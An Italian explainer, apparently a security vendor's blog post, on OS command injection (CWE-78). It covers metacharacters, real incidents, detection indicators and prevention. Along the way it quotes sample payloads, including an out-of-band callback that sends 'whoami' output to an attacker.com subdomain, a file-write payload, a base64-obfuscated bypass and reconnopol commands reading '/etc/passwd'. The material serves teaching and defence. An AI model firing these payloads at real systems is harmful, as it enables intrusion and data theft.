
Che cos'è la command injection? Come la sfruttano gli attaccanti
La command injection (CWE-78) permette agli attaccanti di eseguire comandi del sistema operativo tramite applicazioni vulnerabili. Scoprite come funziona, chi colpisce e come bloccarla.

Punti chiave
- La command injection è una vulnerabilità di sicurezza che permette agli attaccanti di eseguire comandi non autorizzati del sistema operativo tramite un'applicazione vulnerabile.
- L'input dell'utente non sottoposto a sanitizzazione è una causa comune, soprattutto quando le applicazioni lo passano direttamente alle shell di sistema o agli interpreti di comandi.
- Una command injection riuscita può esporre dati sensibili e risorse di sistema, dando agli attaccanti la possibilità di leggere file, modificare dati, eseguire codice dannoso o ottenere ulteriori accessi.
- Gli attaccanti possono sfruttare la command injection in diversi modi, ad esempio inserendo comandi aggiuntivi, usando separatori di comandi o manipolando i parametri dell'applicazione.
- La validazione sicura dell'input e l'assenza di chiamate dirette ai comandi del sistema operativo sono difese fondamentali, insieme agli accessi con privilegi minimi, alle API sicure e ai test di sicurezza regolari.
Che cos'è la command injection?
La command injection è una vulnerabilità che permette agli attaccanti di eseguire comandi arbitrari del sistema operativo (OS) su un host tramite un'applicazione vulnerabile. Si verifica quando un software costruisce un comando del sistema operativo aggiungendo testo fornito da un utente. Se il testo contiene caratteri che la shell interpreta come istruzioni, come; o |, la shell li esegue come parte del comando. I comandi inseriti vengono eseguiti con i privilegi del processo dell'applicazione vulnerabile. Spesso questo significa accesso diretto al server sottostante.
Catalogata nella Common Weakness Enumeration (CWE) di MITRE come CWE-78 (OS Command Injection) e nella categoria superiore CWE-77 (Command Injection), questa vulnerabilità rientra nella più ampia famiglia CWE-74 delle injection. La command injection estende le chiamate al sistema operativo già effettuate da un'applicazione, aggiungendo istruzioni controllate dall'attaccante ai comandi shell. L'attaccante non ha bisogno di nuovo codice nell'ambiente di esecuzione dell'applicazione né di accesso a un motore di database. È la chiamata alla shell dell'applicazione a eseguire le istruzioni.
I danni sono documentati pubblicamente. La vulnerabilità Shellshock (CVE-2014-6271) permetteva agli attaccanti di eseguire comandi tramite variabili d'ambiente Bash appositamente create. La mancata applicazione di una patch per una falla nell'esecuzione dei comandi in Apache Struts, CVE-2017-5638, ha poi aperto la strada alla violazione di Equifax e all'esposizione dei dati personali di 147 milioni di persone. CWE-78 è anche al primo posto nella classifica KEV Top 10, la graduatoria 2025 di MITRE sulle debolezze alla base del catalogo Known Exploited Vulnerabilities (KEV) di CISA. Nessun'altra debolezza viene sfruttata più spesso negli attacchi.
Il meccanismo è semplice. Lo è anche il principio per bloccarlo: tenere i dati degli utenti fuori dalle istruzioni della shell.
Come funziona la command injection?
La command injection sfrutta un difetto di progettazione fondamentale: un'applicazione passa l'input controllato dall'utente direttamente a una shell di sistema, senza separare i dati dalle istruzioni. Quando riceve la stringa concatenata, la shell interpreta i metacaratteri forniti dall'attaccante come separatori di comandi, sostituzioni o operatori.
Il meccanismo di base
Considerate un'applicazione web che esegue ricerche DNS passando al sistema operativo un nome host fornito dall'utente:

Se fornite example.com, la shell esegue /path/to/nslookup example.com come previsto. Ma se un attaccante fornisce example.com ; /bin/ls -l, la shell interpreta due comandi distinti:

Nei sistemi Unix, il punto e virgola separa i comandi. La shell esegue prima nslookup, poi esegue ls -l, restituendo un elenco di directory che lo sviluppatore non aveva previsto.
Metacaratteri della shell
Gli attaccanti usano caratteri che la shell interpreta in modo speciale per uscire dal contesto del comando previsto. Secondo PortSwigger Academy:
Carattere | Piattaforma | Comportamento |
; | Unix | Eseguire i comandi in sequenza |
& | Windows + Unix | Eseguire in background o concatenare i comandi |
&& | Windows + Unix | Eseguire il secondo comando solo se il primo riesce |
| | Windows + Unix | Passare l'output del primo comando al secondo tramite pipe |
|| | Windows + Unix | Eseguire il secondo comando solo se il primo fallisce |
(apici inversi) | Unix | Sostituzione di comandi inline |
$() | Unix | Sostituzione di comandi inline |
Nuova riga (0x0a) | Unix | Terminare il comando corrente e iniziarne uno nuovo |
Quando l'input dell'attaccante si trova tra virgolette nel comando originale, l'attaccante deve prima chiudere la stringa tra virgolette affinché i metacaratteri abbiano effetto.
Due sottotipi strutturali
MITRE identifica due sottotipi distinti di iniezione di comandi nel sistema operativo:
Sottotipo 1: iniezione tramite separatori di comandi. L'applicazione esegue un programma prestabilito e usa l'input dell'utente come argomenti. Gli attaccanti non possono cambiare il programma eseguito, ma possono aggiungere altri comandi tramite separatori. È la forma più comune.
Sottotipo 2: controllo completo dei comandi. L'applicazione usa l'input per determinare quale programma eseguire. Per esempio:

Se un attaccante controlla la proprietà SCRIPTNAME, sceglie quale binario eseguire.
Classica, blind e di secondo ordine
L'iniezione classica (in-band) restituisce l'output del comando direttamente nella risposta HTTP. Inserire & echo aiwefwlguh & conferma l'iniezione quando la stringa restituita compare nel corpo della risposta.
L'iniezione blind non produce output visibile. Gli attaccanti confermano l'esecuzione con tre tecniche documentate da PortSwigger:
- Ritardi temporali:
& sleep 10 &causa un ritardo misurabile nella risposta. - Reindirizzamento dell'output:
||whoami>/var/www/images/output.txt||scrive i risultati in un percorso accessibile via web. - Callback fuori banda:
& nslookup `whoami`.attacker.com& attiva una ricerca DNS verso un dominio controllato dall'attaccante, inserendo l'output del comando nel sottodominio.
L'iniezione di secondo ordine memorizza il payload malevolo al momento dell'invio. L'iniezione si attiva in seguito, quando un'altra funzione dell'applicazione recupera i dati memorizzati e li incorpora in un comando. Questo rende molto più difficile tracciare il percorso dall'origine al punto di esecuzione durante la revisione del codice.
Ciascuna di queste tipologie sfrutta la stessa causa di fondo: input non sanificato che raggiunge una shell di sistema. Una sola causa di fondo significa che un'unica pratica di sicurezza le previene tutte e tre.
Cause della command injection
La command injection non deriva da un singolo errore di programmazione. Nasce da pratiche di sviluppo che non separano i dati degli utenti dalle istruzioni della shell.
Invocazione diretta della shell con input dell'utente
La causa più comune è la chiamata a funzioni della shell del sistema operativo con stringhe controllate dall'utente concatenate al comando. Tutti i principali linguaggi di programmazione offrono funzioni per invocare la shell di sistema. Gli sviluppatori le usano quando hanno bisogno di accedere rapidamente alle utility del sistema operativo:
Linguaggio | Funzioni pericolose |
Python |
|
Java |
|
PHP |
|
Ruby |
|
Node.js |
|
Fonti: OWASP Cheat Sheet, blog di Bugcrowd
Validazione insufficiente degli input
Quando validano gli input, gli sviluppatori spesso si affidano a liste di esclusione che tentano di bloccare specifici caratteri pericolosi. La OWASP Validation Cheat Sheet definisce la validazione tramite liste di esclusione un «approccio profondamente fallace» perché gli aggressori la aggirano con varianti di codifica, separatori alternativi o l'iniezione di argomenti che non richiede alcun metacarattere della shell.
Vettori di input indiretti
La command injection non avviene sempre tramite un campo di un modulo o un parametro URL. Secondo la comunità OWASP e MITRE CWE-78, i vettori di input documentati includono:
- Variabili d'ambiente
- Nomi dei file negli archivi
- Risposte dei server FTP
- Header HTTP e cookie passati alle chiamate di sistema
- Proprietà di sistema e valori di configurazione runtime di Java Virtual Machine (JVM)
Ognuno di questi vettori può introdurre metacaratteri della shell in una stringa di comando se il codice che li riceve non li valida.
Mancata parametrizzazione
Linguaggi e framework offrono l'esecuzione parametrizzata dei comandi, che separa il comando dai suoi argomenti. Quando gli sviluppatori rinunciano a queste API più sicure, preferendo subprocess.run(f"ping {user_input}", shell=True) a subprocess.run(["ping", user_input], shell=False), lasciano che la shell interpreti tutto come un'unica stringa, metacaratteri inclusi.
Mancato rispetto del principio del privilegio minimo
Anche quando si verifica un'iniezione, i danni dipendono dai privilegi del processo vulnerabile. Se le applicazioni vengono eseguite come root o con account di servizio dotati di privilegi elevati, un'iniezione riuscita dà all'aggressore pieno accesso al sistema. Secondo OWASP WSTG, le applicazioni web dovrebbero essere eseguite con permessi rigorosi che non autorizzino l'esecuzione di comandi arbitrari del sistema operativo.
Ognuna di queste cause, se non corretta, contribuisce a produrre danni concreti.
Impatto e rischi della command injection
La command injection è costantemente tra le vulnerabilità più gravi perché offre un percorso diretto da una richiesta web al controllo del sistema operativo. L'impatto riguarda gli aspetti tecnici, operativi e strategici.
Impatto tecnico
Una OS command injection riuscita comporta:
- Esecuzione di comandi arbitrari con i privilegi del processo applicativo vulnerabile
- Compromissione completa del sistema quando le applicazioni vengono eseguite come root o con privilegi elevati
- Esfiltrazione dei dati tramite connessioni di rete in uscita o tunneling DNS
- Accesso persistente tramite impianti, backdoor o nuovi account utente
- Movimento laterale verso altri sistemi accessibili dall'host compromesso
La gravità dipende dai privilegi del processo compromesso e dalla posizione dell'host interessato nella rete.
Impatto aziendale
Tra le conseguenze documentate nel mondo reale figurano:
- Ransomware distribuito: Gli aggressori hanno sfruttato Apache ActiveMQ CVE-2023-46604, una vulnerabilità di deserializzazione che porta all'esecuzione di comandi arbitrari della shell, per distribuire il ransomware HelloKitty. Il suo CISA KEV la relativa voce conferma lo sfruttamento attivo
- Spionaggio di Stato: Un avviso congiunto dell'FBI e della CISA sulla DPRK (AA24-207A) include CVE-2023-46604 tra le vulnerabilità sfruttate dal gruppo nordcoreano Andariel in una campagna di spionaggio globale
Questi incidenti dimostrano che l'iniezione di comandi colpisce organizzazioni di ogni settore e dimensione.
Il divario nello sfruttamento
La caratteristica distintiva dell'iniezione di comandi è il divario tra la sua frequenza e quella con cui gli attaccanti la sfruttano. CWE-78 è al nono posto nella Top 25 delle CWE di MITRE del 2025 per diffusione complessiva, ma è al primo posto nella KEV Top 10. MITRE descrive questa divergenza come un riflesso "dei tipi di vulnerabilità più facili da sfruttare e con l'impatto più desiderabile per gli avversari."
Questo divario rivela ciò che conta per gli attaccanti: una richiesta, una shell. Da qui deriva la loro strategia.
Come gli attaccanti sfruttano l'iniezione di comandi
Quando prendono di mira l'iniezione di comandi, gli attaccanti seguono un metodo strutturato: individuano un punto di ingresso, verificano la vulnerabilità e la sfruttano appieno.
Passaggio 1: individuare i punti di iniezione
Gli attaccanti cercano funzionalità dell'applicazione che interagiscono con il sistema operativo: operazioni sui file, ricerche DNS, diagnostica di rete, generazione di PDF, elaborazione di immagini o interfacce di amministrazione del sistema. Verificano ogni input che potrebbe raggiungere una shell, inclusi parametri URL, campi dei moduli, header HTTP, cookie e nomi dei file caricati.
Passaggio 2: verificare l'esecuzione
Nell'iniezione classica, l'attaccante invia payload contenenti metacaratteri della shell e cerca l'output del comando nella risposta:

Se randomstring compare nella risposta, l'applicazione passa l'input a una shell.
Nell'iniezione cieca, l'attaccante usa payload basati sui tempi di risposta:

Un ritardo costante conferma l'esecuzione senza un output visibile. In alternativa, i payload out-of-band attivano callback DNS:

L'attaccante monitora il proprio server DNS per rilevare richieste in arrivo che contengono l'output di whoami come sottodominio.
Passaggio 3: esaminare l'ambiente
Una volta confermata l'esecuzione, gli attaccanti eseguono comandi di ricognizione: whoami, id, ifconfig, uname -a, cat /etc/passwd. Questi comandi rivelano il contesto dell'utente, la configurazione di rete e la versione del sistema operativo, orientando la fase successiva.
Passaggio 4: mantenere l'accesso e aumentare i privilegi
Dopo aver ottenuto l'accesso iniziale alla shell, gli attaccanti in genere:
- Scaricano altri strumenti tramite
curlowgetda server controllati dagli attaccanti - Creano nuovi account utente o chiavi SSH per mantenere l'accesso
- Sfruttano l'escalation locale dei privilegi per ottenere i privilegi di root
- Spostarsi lateralmente verso altri sistemi accessibili dall'host compromesso
Ognuna di queste azioni lascia tracce telemetriche. Con la strumentazione adeguata, queste tracce diventano un segnale di allerta precoce.
Passaggio 5: sfruttare vulnerabilità concatenate
Gli aggressori spesso combinano la command injection con altre vulnerabilità per aumentare l'impatto. Nella campagna contro Cisco IOS XE, hanno prima sfruttato CVE-2023-20198 per ottenere l'accesso iniziale, poi hanno usato CVE-2023-20273 per acquisire i privilegi di root e installare un impianto persistente. La catena di attacco contro Ivanti Connect Secure ha combinato un bypass dell'autenticazione con una vulnerabilità di injection. Gli aggressori non autenticati potevano così eseguire comandi arbitrari con privilegi elevati.
Tecniche di elusione
Gli aggressori più sofisticati aggirano i filtri di base tramite:
- Codifica: codifica URL, incapsulamento in base64 (;bash<<<$(base64 -d<<<d2hvYW1p))
- Separatori alternativi: caratteri di nuova riga (0x0a) al posto dei punti e virgola
- Argument injection: utilizzo di opzioni -exec senza alcun metacarattere della shell
- Uscita dal contesto delimitato da virgolette: chiusura delle virgolette definite dagli sviluppatori prima di iniettare i separatori
Capire chi è più esposto vi aiuta a stabilire le priorità di difesa.
Chi è colpito dalla command injection?
La command injection colpisce qualsiasi sistema in cui un'applicazione costruisce comandi del sistema operativo usando input esterni. Sapere dove si concentra il rischio vi indica cosa proteggere per primo.
Dispositivi di rete e sicurezza
Gateway VPN, firewall, router e switch rappresentano la superficie di attacco a più alto rischio per la command injection. Il catalogo KEV di CISA mostra una concentrazione di vulnerabilità di command injection sfruttate attivamente in Ivanti Connect Secure, Cisco IOS XE, Cisco NX-OS e nei firewall e router Zyxel. Questi dispositivi si trovano al perimetro della rete, sono progettati per essere esposti a Internet e spesso eseguono sistemi operativi embedded privi degli strumenti di sicurezza disponibili sui server generici.
Dispositivi IoT ed embedded
Telecamere, videoregistratori di rete (NVRs) e dispositivi di rete per il mercato consumer presentano spesso vulnerabilità di command injection per cui non esiste una correzione. I dispositivi IoT GeoVision a fine vita (CVE-2024-6047, CVE-2024-11120) figurano nel catalogo KEV come dispositivi sfruttati attivamente. La decisione di non correggere i router a fine vita interessati da CVE-2024-40891 ha lasciato esposti a tempo indeterminato dispositivi con credenziali predefinite e comandi Telnet non convalidati.
Applicazioni web integrate con il sistema operativo
Qualsiasi applicazione web che richiami utility di sistema, elabori file, generi report o gestisca l'infrastruttura server tramite comandi della shell è a rischio. Piattaforme di distribuzione self-hosted come Coolify dimostrano che anche i moderni strumenti DevOps presentano questa vulnerabilità classica quando le funzioni di backup del database, importazione o esecuzione di script di inizializzazione passano l'input dell'utente alla shell.
Infrastrutture critiche e sanità
Gli operatori delle infrastrutture critiche e le organizzazioni sanitarie affrontano rischi maggiori quando i sistemi esposti combinano accessibilità da Internet, criticità operativa e software o hardware vulnerabile. Gli attacchi del maggio 2023 contro le aziende energetiche danesi mostrano quanto rapidamente questa combinazione possa trasformarsi in un incidente reale.
Piattaforme emergenti di IA e LLM
La versione 4.16 di MITRE CWE ha aggiunto a CWE-77 un esempio dimostrativo legato all'IA: un caso di prompt injection che evidenzia una nuova superficie di attacco. I recenti esempi di CWE-78 includono ora piattaforme di addestramento per agenti IA e modelli linguistici di grandi dimensioni (LLM), in cui Python Popen elaborano input non sanificati provenienti dai componenti della pipeline IA.
Gli incidenti documentati mostrano come questi rischi si manifestino negli ambienti di produzione.
Esempi reali di command injection
Dal 2014, la command injection ha reso possibili alcuni degli incidenti di sicurezza più gravi mai registrati, colpendo dalle infrastrutture web per i consumatori ai sistemi nazionali critici.
Shellshock (2014): sfruttamento su larga scala di GNU Bash
CVE-2014-6271 ha colpito GNU Bash fino alla versione 4.3. Bash elaborava le stringhe successive alle definizioni di funzione nelle variabili d'ambiente, dando agli aggressori remoti la possibilità di eseguire comandi arbitrari tramite qualsiasi vettore che impostasse variabili d'ambiente prima di invocare Bash. Le superfici di attacco includevano gli script CGI di Apache, OpenSSH ForceCommand e gli script dei client DHCP.
Shellshock ha ottenuto un punteggio Common Vulnerability Scoring System di CVSS 9.8. La patch iniziale era incompleta. Le correzioni successive sono state rilasciate con CVE-2014-7169, CVE-2014-6277 e CVE-2014-6278.
Violazione di Equifax (2017): dati personali esposti
CVE-2017-5638 in Apache Struts 2 rendeva possibile l'esecuzione di comandi da remoto tramite un'intestazione HTTP Content-Type, Content-Disposition o Content-Length appositamente predisposta e inviata al parser Jakarta Multipart. Questa vulnerabilità è diventata il punto d'ingresso della violazione di Equifax quando l'azienda non ha applicato la patch disponibile. Secondo la Federal Trade Commission, la violazione ha esposto i dati personali di 147 milioni di persone e rimane una delle più estese della storia. I dettagli tecnici sono disponibili nella scheda della National Vulnerability Database (NVD).
Attacco alla rete elettrica danese (2023)
Nel maggio 2023, attori delle minacce legati alla Russia hanno violato 22 aziende elettriche danesi. La prima ondata ha sfruttato CVE-2023-28771, una vulnerabilità critica di command injection nei router Zykel. Gli aggressori hanno continuato a sfruttare sistemi privi di patch per mantenere l'accesso. SektorCERT, il centro di cybersecurity per le infrastrutture critiche danesi, ha reso nota la campagna nel novembre 2023.
Sfruttamento su larga scala di Ivanti Connect Secure (2024)
A partire da gennaio 2024, diversi gruppi di attori delle minacce hanno sfruttato una catena composta da CVE-2024-21887 (command injection) e CVE-2023-46805 (aggiramento dell'autenticazione) contro le appliance VPN Ivanti Connect Secure. CISA ha pubblicato un avviso di emergenza che documenta la catena di sfruttamento.
Tre vulnerabilità di command injection in Coolify (2026)
Rese note nel gennaio 2026, le vulnerabilità di Coolify nella piattaforma di distribuzione self-hosted Coolify hanno dimostrato che la command injection è un rischio attuale. Tre di queste (CVE-2025-66209, CVE-2025-66210 e CVE-2025-66211, ciascuna con punteggio CVSS 10.0) colpivano le funzioni di backup e importazione dei database e di gestione degli script di inizializzazione di PostgreSQL. Un utente autenticato con autorizzazioni sui database poteva uscire dal container e prendere il controllo del server.
Questi incidenti coprono più di un decennio. La seguente cronologia mostra l'evoluzione della command injection.
Command injection: cronologia storica
Anno | Evento | Rilevanza |
2002 | CVE-2002-0061 documentata | Uno dei primi esempi di CWE-78: esecuzione di comandi su un server web tramite il carattere pipe |
2014 | Shellshock (CVE-2014-6271) | Sfruttamento su larga scala di GNU Bash su numerose piattaforme |
2017 | Apache Struts / Equifax (CVE-2017-5638) | L'esecuzione di comandi tramite header HTTP provoca una grave violazione |
2023 | Apache ActiveMQ (CVE-2023-46604) | Una falla di deserializzazione porta all'esecuzione di comandi shell ed è sfruttata per distribuire ransomware |
2023 | Zero-day di Cisco IOS XE (CVE-2023-20198) | Catena di sfruttamento in due fasi con un impianto persistente |
2023 | Attacco alla rete elettrica danese | Diverse aziende colpite tramite command injection in infrastrutture critiche |
2024 | Sfruttamento su larga scala di Ivanti Connect Secure | Catena di command injection + bypass dell'autenticazione su appliance esposte |
2025 | CWE-78 raggiunge il #1 nella Top 10 KEV di MITRE | La debolezza più sfruttata per gli attacchi nel catalogo KEV della CISA |
2025 | CVE-2025-54100 (Windows PowerShell) | Command injection nell'elaborazione dei contenuti web di PowerShell |
2026 | Tre vulnerabilità CVSS 10.0 in Coolify | Tre falle di command injection negli strumenti DevOps moderni |
2026 | TP-Link Archer BE230 (CVE-2026-22224) | Injection tramite l'interfaccia cloud nel firmware di un router consumer |
La command injection continua a emergere in nuovi contesti. La superficie di attacco ora si estende alle infrastrutture cloud, agli ecosistemi IoT e alle piattaforme IA. Rilevatela a ogni livello, prima e dopo lo sfruttamento, per ridurne la portata.
Come rilevare la command injection
Rilevare la command injection richiede una copertura su più livelli: ciclo di sviluppo, esecuzione delle applicazioni e telemetria di endpoint e rete.
Test statici della sicurezza delle applicazioni (SAST)
Gli strumenti SAST analizzano codice sorgente o file binari prima dell'esecuzione, cercando pattern vulnerabili senza eseguire l'applicazione. Per la command injection, SAST individua:
- Chiamate a funzioni pericolose (system(), exec(), popen(), subprocess con shell=True)
- Dati non attendibili provenienti da fonti controllate dall'utente (parametri HTTP, header, cookie) che raggiungono queste funzioni senza essere convalidati
- Assenza di una convalida tramite allowlist prima di costruire il comando del sistema operativo
SAST genera falsi positivi e non osserva il comportamento durante l'esecuzione. Individua pattern nel codice, non vulnerabilità sfruttabili confermate. Trattate i risultati SAST come indicatori da verificare manualmente.
Test dinamici della sicurezza delle applicazioni (DAST)
DAST valuta le applicazioni in esecuzione simulando attacchi dall'esterno. Secondo la OWASP WSTG, i payload DAST efficaci per la command injection includono:
Categoria | Payload di esempio | Metodo di identificazione |
Concatenazione dei comandi |
| Output del comando nella risposta |
Sostituzione dei comandi |
| Output del comando nella risposta |
Ritardo temporale (alla cieca) |
| Misurazione del tempo di risposta |
Fuori banda (alla cieca) |
| Monitoraggio delle chiamate di ritorno DNS |
Strumenti come Burp Suite Professional e OWASP ZAP eseguono questi test sugli endpoint dell'applicazione.
Autoprotezione delle applicazioni in fase di esecuzione (RASP)
RASP monitora l'applicazione in esecuzione e rileva l'invocazione di comandi dall'interno dell'applicazione. RASP rileva l'effettiva creazione di un processo tramite Runtime.exec o ProcessBuilder.start, quindi le tecniche di codifica e offuscamento che eludono le difese perimetrali non funzionano a questo livello.
Indicatori comportamentali degli endpoint e della rete
Per il vostro team SOC, questi indicatori a livello di processo e di rete segnalano lo sfruttamento di una vulnerabilità di command injection:
Indicatori di processo:
- Processi dei server web (Apache, nginx, Tomcat) che avviano cmd.exe, bash, sh, o PowerShell come processi figli
- Processi figli che eseguono whoami, id, ifconfig, net user, o comandi di enumerazione simili
- Stringhe codificate in Base64 che compaiono come argomenti della riga di comando dei processi shell
- Processi che invocano nslookup, curl, o wget da processi padre di applicazioni web verso destinazioni esterne all'azienda
Indicatori di rete:
- Processi lato server che generano richieste in uscita con curl o wget verso indirizzi IP esterni
- Nuovi user agent (curl, wget) provenienti da sistemi esposti a Internet che si discostano dal comportamento di riferimento
- Ricerche DNS effettuate da processi server verso domini esterni insoliti, compatibili con payload di esfiltrazione usati nei test di sicurezza delle applicazioni out-of-band (OAST)
La difesa più efficace blocca l'iniezione prima che raggiunga la shell.
Come prevenire la command injection
La prevenzione segue la gerarchia di difesa definita nel OWASP Defense Cheat Sheet. Partite dai controlli più efficaci e aggiungete ulteriori livelli di difesa.
1. Eliminate del tutto le chiamate ai comandi del sistema operativo
La prevenzione più efficace consiste nel non richiamare mai comandi del sistema operativo dal codice applicativo. Secondo PortSwigger, praticamente ogni comando shell ha un'alternativa nativa del linguaggio. Usate InetAddress.getByName("host") invece di eseguire ping. Usate shutil.copy() di Python invece di os.system("cp ..."). Usate la funzione integrata di PHP copy() anziché system("cp ...").
2. Parametrizzate le chiamate alla shell quando sono inevitabili
Se dovete invocare comandi del sistema operativo, usate API strutturate che separano il comando dai suoi argomenti:
py

Java

In PHP, escapeshellarg() racchiude l'input dell'utente tra apici singoli, trattando l'intero valore come un unico argomento. Questo impedisce l'iniezione, ma non la manipolazione degli argomenti.
3. Convalidate con liste di elementi consentiti, non di elementi vietati
Definite esattamente quali input sono consentiti. Tutti gli altri vengono rifiutati per impostazione predefinita.
Una regex pratica per definire gli argomenti consentiti, secondo la OWASP Defense Cheat Sheet, è ^[a-z0-9]{3,10}$.
I caratteri da escludere da qualsiasi regex che definisca gli argomenti consentiti, secondo OWASP:
4. Usate il delimitatore -- per gli argomenti
Secondo la linea guida POSIX 10, il primo -- segnala la fine delle opzioni. Tutti gli argomenti successivi vengono trattati come operandi, anche se iniziano con -:
shell

Questo impedisce l'iniezione di argomenti quando l'input dell'utente potrebbe contenere valori che iniziano con un trattino.
5. Applicate il principio del privilegio minimo all'esecuzione
Eseguite le applicazioni web e i componenti con autorizzazioni rigorose che impediscano l'esecuzione arbitraria di comandi del sistema operativo. Poiché i comandi iniettati vengono eseguiti con i privilegi dell'applicazione vulnerabile, un processo eseguito da un utente senza privilegi limita i danni anche quando l'iniezione riesce.
6. Allineatevi al NIST SSDF
NIST SP 800-218 (Secure Software Development Framework) definisce il quadro di governance. La pratica PW.8 prevede test del codice per individuare le vulnerabilità prima del rilascio. La pratica PW.9 prevede impostazioni predefinite sicure che tengano le configurazioni pericolose fuori dagli ambienti di produzione.
Affiancate a questi controlli gli strumenti giusti: individuerete le vulnerabilità da iniezione di comandi in anticipo, anziché dovervi porre rimedio in seguito.
Strumenti di rilevamento e prevenzione
Gli approcci SAST e RASP descritti sopra coprono la revisione del codice e la protezione durante l'esecuzione. Altri tre livelli completano la difesa.
Strumenti DAST
Burp Suite Professional e OWASP ZAP testano le applicazioni in esecuzione con payload di iniezione, incluse tecniche basate sul tempo e fuori banda per l'iniezione cieca di comandi. Eseguite regolarmente scansioni DAST negli ambienti di staging.
Firewall per applicazioni web (WAFs)
L'OWASP ModSecurity Core Rule Set include le regole REQUEST-932-APPLICATION-ATTACK-RCE specifiche per l'esecuzione di codice da remoto. Le AWS WAF Managed Rules offrono una protezione simile tramite il Core Rule Set.
Tuttavia, i WAF hanno un limite critico. I ricercatori di MDSec hanno documentato casi reali di elusione di diversi importanti prodotti WAF, concludendo che i WAF sono "troppo spesso considerati l'unica linea di difesa". Le tecniche di elusione includono vulnerabilità nella normalizzazione delle richieste e la manipolazione dei parametri HTTP. I WAF devono integrare la convalida degli input a livello applicativo, mai sostituirla.
Piattaforme EDR/XDR
Le piattaforme di rilevamento e risposta degli endpoint (EDR) e di rilevamento e risposta estesi (XDR) costituiscono l'ultimo livello di difesa. Monitorano la telemetria dei processi del sistema operativo e della rete dopo che un'iniezione è riuscita e segnalano processi figli imprevisti, connessioni di rete anomale e movimenti laterali. Qui Behavioral AI diventa essenziale: gli strumenti basati sulle firme non possono prevedere ogni comando che un attaccante potrebbe eseguire sfruttando una vulnerabilità di iniezione.
Come può aiutarvi SentinelOne?
SentinelOne, con la Singularity™ Platform, contrasta l'iniezione di comandi nella fase successiva allo sfruttamento, dove molte organizzazioni hanno la copertura più debole. Nelle valutazioni MITRE ATT&CK del 2024, SentinelOne ha raggiunto il 100% di rilevamento senza ritardi e con l'88% di avvisi in meno rispetto alle piattaforme concorrenti. Questo conta nel momento in cui un server web avvia bash o cmd.exe dopo un'iniezione riuscita.
Singularity AI SIEM correla telemetria, connessioni di rete e segnali di identità in una vista unificata. Quando un attacco di iniezione di comandi genera richieste curl in uscita verso l'infrastruttura dell'attaccante, seguite da movimenti laterali, Singularity AI SIEM collega questi eventi in un'unica ricostruzione dell'attacco anziché generare avvisi scollegati.
Purple AI™ supporta la ricerca delle minacce in linguaggio naturale nel vostro Singularity Data Lake. Secondo IDC, i clienti di Purple AI hanno identificato le minacce il 63% più rapidamente e ridotto l'MTTR del 55%. Il vostro team passa più rapidamente da un processo figlio sospetto a un incidente chiarito.
Per le organizzazioni che gestiscono dispositivi IoT e integrati su cui è impossibile distribuire agenti, la telemetria di rete e l'analisi comportamentale basata sull'identità della piattaforma offrono visibilità sullo sfruttamento dell'iniezione di comandi contro dispositivi come i router Zyxel e le telecamere GeoVision privi di patch presenti nel catalogo KEV della CISA.
Richiedete una demo di SentinelOne per scoprire come la Singularity Platform rileva e blocca lo sfruttamento dell'iniezione di comandi in tutto il vostro ambiente.

Cybersicurezza alimentata dall'intelligenza artificiale
Elevate la vostra posizione di sicurezza con il rilevamento in tempo reale, la risposta automatica e la visibilità totale dell'intero ambiente digitale.
Vulnerabilità correlate
L'iniezione di comandi appartiene alla più ampia famiglia delle iniezioni CWE-74. Comprendete le vulnerabilità correlate e come si concatenano per chiudere ogni percorso che porta alla shell.
Iniezione di argomenti (CWE-88)
L'iniezione di argomenti, una sottocategoria di CWE-77, non richiede metacaratteri della shell. L'attaccante resta nel comando previsto, ma manipola gli argomenti o le opzioni che gli vengono passati. Secondo MITRE, se il programma supporta l'opzione -exec, l'iniezione di argomenti può concatenarsi direttamente all'iniezione di comandi del sistema operativo. Gli sviluppatori che bloccano i metacaratteri della shell ma accettano valori che iniziano con un trattino restano esposti.
Iniezione di codice (CWE-94)
L'iniezione di codice introduce nuovo codice nell'interprete dell'applicazione durante l'esecuzione (eval(), include(), exec() in PHP/Python). Secondo OWASP, "L'iniezione di comandi differisce dall'iniezione di codice perché quest'ultima consente all'attaccante di aggiungere codice proprio, che viene poi eseguito dall'applicazione." L'iniezione di codice può portare all'esecuzione di comandi del sistema operativo quando il codice iniettato chiama system().
SQL injection (CWE-89)
SQL injection manipola le query dei database. Raggiunge l'esecuzione di comandi del sistema operativo tramite funzionalità specifiche dei database: xp_cmdshell di Microsoft SQL Server esegue comandi del sistema operativo direttamente da una query SQL, mentre le User Defined Functions di MySQL offrono un meccanismo simile. MITRE documenta questi percorsi di escalation nel catalogo Common Attack Pattern Enumeration and Classification (CAPEC) come CAPEC-108 (esecuzione di comandi tramite SQL injection).
Iniezione di template lato server (SSTI)
Classificata come CWE-94, la SSTI si verifica quando l'input dell'utente viene concatenato ai template anziché passato come valore di dati. Secondo PortSwigger, nei casi più gravi la SSTI porta all'esecuzione di codice da remoto e al controllo completo del server. Catene di attacco documentate mostrano che lo stored cross-site scripting (XSS) può veicolare payload SSTI che eseguono comandi del sistema operativo accedendo alle classi del motore di template.
Deserializzazione di dati non attendibili (CWE-502)
Gli attacchi di deserializzazione usano oggetti serializzati appositamente creati per attivare l'esecuzione di codice durante l'istanziazione. Secondo MITRE, i payload Python pickle possono sovrascrivere __reduce__ per chiamare Popen e avviare una shell. Le catene di gadget Java che sfruttano Apache Commons Collections ottengono l'esecuzione tramite Runtime.exec(). Il vantaggio decisivo per aggirare i controlli: i payload arrivano come blob binari che sfuggono a qualsiasi convalida dell'input basata su stringhe.
Il principio comune
Secondo MITRE CWE-94: "Tutti i problemi di injection hanno un elemento in comune: rendono possibile inserire dati del piano di controllo nel piano dati controllato dall'utente." L'interprete specifico, che sia una shell del sistema operativo, un motore SQL, un motore di template o un deserializzatore, determina la classificazione CWE e la sintassi dell'attacco. La causa principale è sempre la stessa: un input non sottoposto a sanitizzazione raggiunge un interprete che tratta i dati come istruzioni.
Domande frequenti
La command injection è una vulnerabilità di sicurezza (CWE-78) che si verifica quando un'applicazione costruisce comandi del sistema operativo concatenando input controllato dall'utente senza neutralizzare i caratteri speciali per la shell.
Gli aggressori aggiungono metacaratteri come ;, | oppure && affinché i loro comandi vengano eseguiti con i privilegi dell'applicazione. Le istruzioni iniettate estendono una chiamata esistente al sistema operativo, anziché aggiungere nuova logica a livello applicativo.
Sì. CWE-77 e CWE-78 sono associate alla categoria A03:2021 Injection nella OWASP Top 10:2021 e alla categoria A05:2025 nella OWASP Top 10:2025. La categoria Injection comprende diverse CWE correlate, tra cui la command injection.
